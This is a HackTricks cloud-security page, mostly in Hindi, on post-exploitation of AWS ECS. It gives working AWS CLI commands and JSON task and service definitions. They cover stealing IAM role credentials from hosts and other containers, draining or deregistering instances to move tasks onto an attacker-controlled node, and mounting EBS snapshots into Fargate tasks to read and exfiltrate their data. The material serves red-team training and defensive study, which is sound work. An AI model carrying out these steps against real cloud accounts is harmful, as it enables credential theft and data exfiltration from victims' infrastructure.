AWS - ECS Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECS

For more information check:

AWS - ECS Enum

होस्ट IAM Roles

ECS में एक IAM role को container के अंदर चल रहे task को assign किया जा सकता है। यदि task किसी EC2 instance के अंदर चल रही है, तो उस EC2 instance पर एक और IAM role attached होगा।
जिसका अर्थ है कि अगर आप किसी ECS instance को compromise कर लेते हैं, तो आप संभावित रूप से ECR और EC2 instance से जुड़े IAM role प्राप्त कर सकते हैं। उन credentials को कैसे प्राप्त करें, इसके बारे में अधिक जानकारी के लिए देखें:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc नोड पर जाकर अन्य containers के creds & secrets चुराना

और भी, EC2 docker का उपयोग करके ECS tasks चलाता है, इसलिए यदि आप node पर escape कर पाते हैं या docker socket तक access कर लेते हैं, तो आप देख सकते हैं कि कौन-कौन से अन्य containers चल रहे हैं, और उनमें अंदर जाकर उनके जुड़े हुए IAM roles चुरा सकते हैं।

वर्तमान होस्ट पर containers को चलवाना

इसके अलावा, EC2 instance role के पास आम तौर पर पर्याप्त permissions होते हैं ताकि वे cluster के अंदर nodes के रूप में उपयोग हो रहे EC2 instances की container instance state को update कर सकें। एक attacker किसी instance की state को DRAINING में बदल सकता है, फिर ECS उस instance से सभी tasks हटा देगा और जो tasks REPLICA के रूप में चल रहे हैं उन्हें किसी दूसरे instance पर चलाया जाएगा — संभावित रूप से attacker के अपने instance पर — ताकि वह उनके IAM roles और container के अंदर मौजूद संवेदनशील जानकारी चुरा सके।

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

उसी तकनीक को deregistering the EC2 instance from the cluster करके भी किया जा सकता है। यह संभावित रूप से कम stealthy होगा लेकिन यह force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

एक अंतिम तकनीक tasks के पुनः-निष्पादन को मजबूर करने की यह है कि ECS को सूचित किया जाए कि task or container was stopped। इसके लिए 3 संभावित APIs हैं:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

ECR कंटेनरों से संवेदनशील जानकारी चुराएँ

EC2 इंस्टेंस के पास संभवतः ecr:GetAuthorizationToken अनुमति भी होगी, जिससे यह इमेज डाउनलोड कर सकता है (आप उनमें संवेदनशील जानकारी खोज सकते हैं)।

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

मौजूदा EBS स्नैपशॉट की सामग्री को सीधे एक नए ECS टास्क/सर्विस के अंदर माउंट करने के लिए मूल ECS EBS इंटीग्रेशन (2024+) का दुरुपयोग करें और कंटेनर के अंदर से उसका डाटा पढ़ें।

  • आवश्यकताएं (न्यूनतम):

  • ecs:RegisterTaskDefinition

  • इनमें से एक: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • वॉल्यूम के लिए उपयोग किया गया ECS infrastructure role (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • टास्क डिफिनिशन द्वारा संदर्भित Task execution/Task roles

  • यदि स्नैपशॉट CMK से एन्क्रिप्टेड है: infra role के लिए KMS अनुमतियाँ (ऊपर दिया गया AWS managed policy AWS managed keys के लिए आवश्यक KMS grants शामिल करता है)।

  • प्रभाव: कंटेनर के अंदर से स्नैपशॉट की किसी भी डिस्क सामग्री पढ़ें (उदा., डेटाबेस फाइलें) और नेटवर्क/लॉग्स के माध्यम से बाहिर भेजें।

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. एक task definition रजिस्टर करें जिसमें एक volume configuredAtLaunch के रूप में चिह्नित हो और उसे container में माउंट करें। उदाहरण (secret को प्रिंट करके फिर सो जाता है):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. volumeConfigurations.managedEBSVolume के माध्यम से EBS snapshot पास करते हुए एक service बनाएं या अपडेट करें (infra role पर iam:PassRole की आवश्यकता होती है)। उदाहरण:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. जब task शुरू होता है, container configured mount path (उदा., /loot) पर snapshot की सामग्री पढ़ सकता है। Exfiltrate task के network/logs के जरिए।

सफाई:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें